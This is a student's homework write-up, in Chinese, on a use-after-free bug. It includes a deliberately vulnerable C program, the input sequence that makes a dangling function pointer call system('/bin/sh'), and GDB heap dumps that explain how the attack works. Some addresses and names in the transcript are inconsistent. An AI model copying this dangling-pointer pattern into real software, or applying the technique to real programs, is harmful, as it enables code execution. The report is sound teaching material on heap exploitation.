

【作业2】Heap漏洞分析

唐亚周 519021910804

设计一个含有double free 或 UAF 漏洞的程序，攻击该程序，并使用调试工具解析攻击原理。

1 设计程序

这里我参考了网上的博客¹和老师 PPT 上的示例代码，设计了如下的程序。

```
1  #include <stdio.h>
2  #include <stdlib.h>
3  #include <string.h>
4
5  typedef void (*func_ptr)(char*);
6
7  void evil_fuc(char command[]) { system(command); }
8
9  void echo(char content[]) { printf("%s", content); }
10
11 func_ptr* echoFunc;
12 func_ptr* evilFun;
13
14 int main(int argc, char** argv)
15 {
16     char line[128];
17
18     while (1) {
19         printf("[ echoFunc = %p, evilFun = %p ]\n", echoFunc, evilFun);
20         if (fgets(line, sizeof(line), stdin) == NULL) {
21             break;
22         }
23
24         if (strncmp(line, "setEcho", 7) == 0) {
25             echoFunc = (func_ptr*)malloc(sizeof(func_ptr));
26             memset(echoFunc, 0, sizeof(func_ptr));
27             *echoFunc = echo;
28         }
29         if (strncmp(line, "setEvil", 7) == 0) {
30             evilFun = (func_ptr*)malloc(sizeof(func_ptr));
31             memset(evilFun, 0, sizeof(func_ptr));
32             *evilFun = evil_fuc;
33         }
34         if (strncmp(line, "delEcho", 7) == 0) {
35             free(echoFunc);
36         }
37         if (strncmp(line, "callEcho ", 9) == 0) {
38             if (echoFunc) {
```

```

39         (*echoFunc)(line + 9);
40     } else {
41         printf("echoFunc is NULL\n");
42     }
43 }
44 }
45 }

```

2 攻击漏洞

可以通过以下两种方式来攻击。

1. 依次输出如下指令，预计会输出 `echoFunc is NULL`，实际上会产生 segmentation fault。

```

1  setEcho
2  callEcho hello world
3  delEcho
4  callEcho hello again

```

运行结果如下：

```

^ /mnt/D/SJ/3-Junior-2/I/SysSec-hw/hw2 ./prog
[ echoFunc = (nil), evilFun = (nil) ]
setEcho
[ echoFunc = 0x558917700ac0, evilFun = (nil) ]
callEcho hello world
hello world
[ echoFunc = 0x558917700ac0, evilFun = (nil) ]
delEcho
[ echoFunc = 0x558917700ac0, evilFun = (nil) ]
callEcho hello again
zsh: segmentation fault (core dumped) ./prog

```

2. 依次输出如下指令，预计会输出 `echoFunc is NULL`，实际上会运行 `system("/bin/sh")`。

```

1  setEcho
2  callEcho hello world
3  delEcho
4  setEvil
5  callEcho /bin/sh

```

运行结果如下：

```

^B /mnt/D/SJ/3-Junior-2/I/SysSec-h/hw2 ./prog
[ echoFunc = (nil), evilFunc = (nil) ]
setEcho
[ echoFunc = 0x55ac9f52dac0, evilFunc = (nil) ]
callEcho hello world
hello world
[ echoFunc = 0x55ac9f52dac0, evilFunc = (nil) ]
delEcho
[ echoFunc = 0x55ac9f52dac0, evilFunc = (nil) ]
setEvil
[ echoFunc = 0x55ac9f52dac0, evilFunc = 0x55ac9f52dac0 ]
callEcho /bin/sh
sh-5.1$ exit
exit
[ echoFunc = 0x55ac9f52dac0, evilFunc = 0x55ac9f52dac0 ]
^C

```

3 分析攻击原理

这里我使用 GDB 进行分析，具体分析步骤参考了课上播放的视频。²

1. 首先在 GDB 中运行一次程序，再将其反汇编以得到正确的逻辑地址。³ 然后在原程序 19 行的 `printf` 语句对应的地址 `0x000055555555245` 上打上断点。

```

gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0000555555551fe <+0>:      push    rbp
0x0000555555551ff <+1>:      mov     rbp, rsp
0x000055555555202 <+4>:      sub     rsp, 0xa0
0x000055555555209 <+11>:     mov     DWORD PTR [rbp-0x94], edi
0x00005555555520f <+17>:     mov     QWORD PTR [rbp-0xa0], rsi
0x000055555555216 <+24>:     mov     rax, QWORD PTR fs:0x28
0x00005555555521f <+33>:     mov     QWORD PTR [rbp-0x8], rax
0x000055555555223 <+37>:     xor     eax, eax
0x000055555555225 <+39>:     mov     rdx, QWORD PTR [rip+0x2e5c]          # 0x555555558088 <evilFunc>
0x00005555555522c <+46>:     mov     rax, QWORD PTR [rip+0x2e4d]          # 0x555555558080 <echoFunc>
0x000055555555233 <+53>:     mov     rsi, rax
0x000055555555236 <+56>:     lea     rax, [rip+0xdd3]                    # 0x555555556010
0x00005555555523d <+63>:     mov     rdi, rax
0x000055555555240 <+66>:     mov     eax, 0x0
0x000055555555245 <+71>:     call   0x555555558080 <printf@plt>
0x00005555555524a <+76>:     mov     rdx, QWORD PTR [rip+0x2e1f]          # 0x555555558070 <stdin@GLIBC_2.2.5>
0x000055555555251 <+83>:     lea     rax, [rbp-0x90]
0x000055555555258 <+90>:     mov     esi, 0x80
0x00005555555525d <+95>:     mov     rdi, rax
0x000055555555260 <+98>:     call   0x5555555550a0 <fgets@plt>

```

```

gdb-peda$ b *0x000055555555245
Breakpoint 1 at 0x55555555245: file prog.c, line 19.

```

2. 设置执行到该断点时的指令，用于调试。之所以从 `0x555555559ab0` 开始查看堆的信息，是因为在之前运行时，我发现第一次分配的堆地址为 `0x555555559ac0`。

```

gdb-peda$ commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>echo -----\n
>x/50wx 0x555555559ab0
>echo --echoFunc-----\n
>print *echoFunc
>echo --evilFunc-----\n
>print *evilFunc
>echo -----\n
>continue
>end

```

3. 不断 `continue` 进行调试。

(a) 第一种攻击方式：

- i. 首先 `setEcho`，可以看到在堆上 `0x55555559ac0` 处的值为 `0x555555551d4`，即函数 `echo` 在内存上的地址。

```
gdb-peda$ c
Continuing.
[ echoFunc = (nil), evilFunc = (nil) ]
setEcho
-----
0x55555559ab0: 0x00000000      0x00000000      0x00000021      0x00000000
0x55555559ac0: 0x555551d4      0x00005555      0x00000000      0x00000000
0x55555559ad0: 0x00000000      0x00000000      0x00020531      0x00000000
0x55555559ae0: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559af0: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559b00: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559b10: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559b20: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559b30: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559b40: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559b50: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559b60: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559b70: 0x00000000      0x00000000
-----
--echoFunc
$1 = (func_ptr) 0x555555551d4 <echo>
--evilFunc
Display various information of current execution context
Usage:
context [reg,code,stack,all] [code/stack length]

Breakpoint 1, 0x000055555555245 in main (argc=0x1, argv=0x7fffffffdfa8) at prog.c:19
19      printf("[ echoFunc = %p, evilFunc = %p ]\n", echoFunc, evilFunc);
```

- ii. 然后 `callEcho hello world`，正常输出了 `hello world`。

```
gdb-peda$ c
Continuing.
[ echoFunc = 0x55555559ac0, evilFunc = (nil) ]
callEcho hello world
hello world
-----
0x55555559ab0: 0x00000000      0x00000000      0x00000021      0x00000000
0x55555559ac0: 0x555551d4      0x00005555      0x00000000      0x00000000
0x55555559ad0: 0x00000000      0x00000000      0x00020531      0x00000000
0x55555559ae0: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559af0: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559b00: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559b10: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559b20: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559b30: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559b40: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559b50: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559b60: 0x00000000      0x00000000      0x00000000      0x00000000
0x55555559b70: 0x00000000      0x00000000
-----
--echoFunc
$2 = (func_ptr) 0x555555551d4 <echo>
--evilFunc
Display various information of current execution context
Usage:
context [reg,code,stack,all] [code/stack length]

Breakpoint 1, 0x000055555555245 in main (argc=0x1, argv=0x7fffffffdfa8) at prog.c:19
19      printf("[ echoFunc = %p, evilFunc = %p ]\n", echoFunc, evilFunc);
```

- iii. 然后 `delEcho`，可以看到原属于 `echoFunc` 的内存地址上变成了别的值，但 `echoFunc` 仍然指向该地址。

```

gdb-peda$ c
Continuing.
[ echoFunc = 0x55555559ac0, evilFunc = (nil) ]
delEcho
-----
0x55555559ab0: 0x00000000    0x00000000    0x00000021    0x00000000
0x55555559ac0: 0x55555559    0x00000005    0x19790f94    0x0a6d8909
0x55555559ad0: 0x00000000    0x00000000    0x00020531    0x00000000
0x55555559ae0: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559af0: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559b00: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559b10: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559b20: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559b30: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559b40: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559b50: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559b60: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559b70: 0x00000000    0x00000000
--echoFunc-----
$3 = (func_ptr) 0x55555559
--evilFunc-----
Display various information of current execution context
Usage:
context [reg,code,stack,all] [code/stack length]

Breakpoint 1, 0x000055555555245 in main (argc=0x1, argv=0x7fffffffdfa8) at prog.c:19
19      printf("[ echoFunc = %p, evilFunc = %p ]\n", echoFunc, evilFunc);

```

- iv. 最后再一次 `callEcho hello again`，由于该地址指向的值已经不是原来的函数，甚至不是一个可调用的函数，因此产生 `SIGSEGV` 错误。

(b) 第二种攻击方式：

- i. 前三步与第一种攻击方式相同。
- ii. 然后 `setEvil`，可以看到，原属于 `echoFunc` 的地址现在变成了 `evilFunc` 的地址，上面指向的值也变成了函数 `evil_fun` 的地址。

```

gdb-peda$ c
Continuing.
[ echoFunc = 0x55555559ac0, evilFunc = (nil) ]
setEvil
-----
0x55555559ab0: 0x00000000    0x00000000    0x00000021    0x00000000
0x55555559ac0: 0x555555b9    0x00000555    0x00000000    0x00000000
0x55555559ad0: 0x00000000    0x00000000    0x00020531    0x00000000
0x55555559ae0: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559af0: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559b00: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559b10: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559b20: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559b30: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559b40: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559b50: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559b60: 0x00000000    0x00000000    0x00000000    0x00000000
0x55555559b70: 0x00000000    0x00000000
--echoFunc-----
$6 = (func_ptr) 0x55555555b9 <evil_fuc>
--evilFunc-----
$7 = (func_ptr) 0x55555555b9 <evil_fuc>
-----

```

- iii. 最后 `callEcho /bin/sh`，由于该地址指向的值已经不是原来的函数 `echo`，而是新的函数 `evil_fun`，因此会调用该函数，运行 `/bin/sh`。

1. https://blog.csdn.net/qq_31481187/article/details/73612451

2. <https://youtu.be/ZHghwsTRyzQ>

3. <https://blog.csdn.net/Dontla/article/details/117562006>